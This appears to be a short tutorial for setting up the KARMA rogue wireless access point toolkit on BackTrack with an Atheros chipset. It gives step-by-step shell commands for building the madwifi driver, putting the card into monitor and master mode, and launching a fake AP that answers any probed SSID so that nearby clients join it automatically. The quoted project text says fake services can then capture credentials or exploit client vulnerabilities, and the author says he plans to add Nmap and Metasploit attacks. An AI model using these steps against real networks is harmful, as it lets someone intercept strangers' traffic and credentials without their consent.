THIS WORKS WITH ATHEROS BASED CHIPSET ONLY.
Project homepage: http://theta44.org/karma/index.html
“KARMA is a set of tools for assessing the security of wireless clients at multiple layers. Wireless sniffing tools discover clients and their preferred/trusted networks by passively listening for 802.11 Probe Request frames. From there, individual clients can be targeted by creating a Rogue AP for one of their probed networks (which they may join automatically) or using a custom driver that responds to probes and association requests for any SSID. Higher-level fake services can then capture credentials or exploit client-side vulnerabilities on the host.” -http://theta44.org
first of all install the latest madwifi snapshots here
http://snapshots.madwifi.org/madwifi-trunk/madwifi-trunk-r3813-20080720.tar.gz
bt ~#tar -zxvf madwifi-trunk-r3813-20080720.tar.gz
bt ~#cd madwifi-trunk-r3813-20080720
bt ~#make && make install
bt ~ # ln -s /sbin/iwconfig /usr/sbin/iwconfig
bt ~# ln -s /sbin/iwpriv /usr/sbin/iwpriv
bt ~# ln -s /sbin/iwevent /usr/sbin/iwevent
bt ~# airmon-ng start ath0
bt ~#airmon-ng start wifi0
Putting the card into monitor mode
bt ~#wlanconfig ath0 destroy
bt ~#wlanconfig ath0 create wlandev wifi0 wlanmode master
goto karma directory
karma.xml – “Runs a rogue base station with DHCP, DNS and HTTP services. The HTTP service re-directs all requests to the ExampleWebExploit module that displays a simple HTML page. This page can be replaced with something that informs the user that their wireless settings are insecure and that it may be a violation of corporate policy etc” -http://theta44.org
bt karma#bin/monitor-mode.sh ath0
bt karma#(cd ./src/ && make) && ./src/karma ath0
bt karma#
bt karma#bin/karma etc/karma.xml
Now the rogue services are started any probing clients will now connect to KARMA on our machine whichever SSID their machine chooses to use.
Iwconfig output showing ath0 working as RogueAP.we can see bssid of RogueAP
We can see our FakeAP is working now and broadcasting BSSID & other clients probing for legitimate AP automatically connects with our rogueAP
karma-scan.xml – “Attempts to find insecure wireless clients that will associate to rouge network and possibly obtain IP address via DHCP”. -http://theta44.org
bt karma#bin/karma etc/karma-scan.xml
karma.scan.xml
This tool have layer attack approach.I am still working on it so that we can lauch more attack like Nmap scanning and metasploit for exploit the known vulnerabilites.
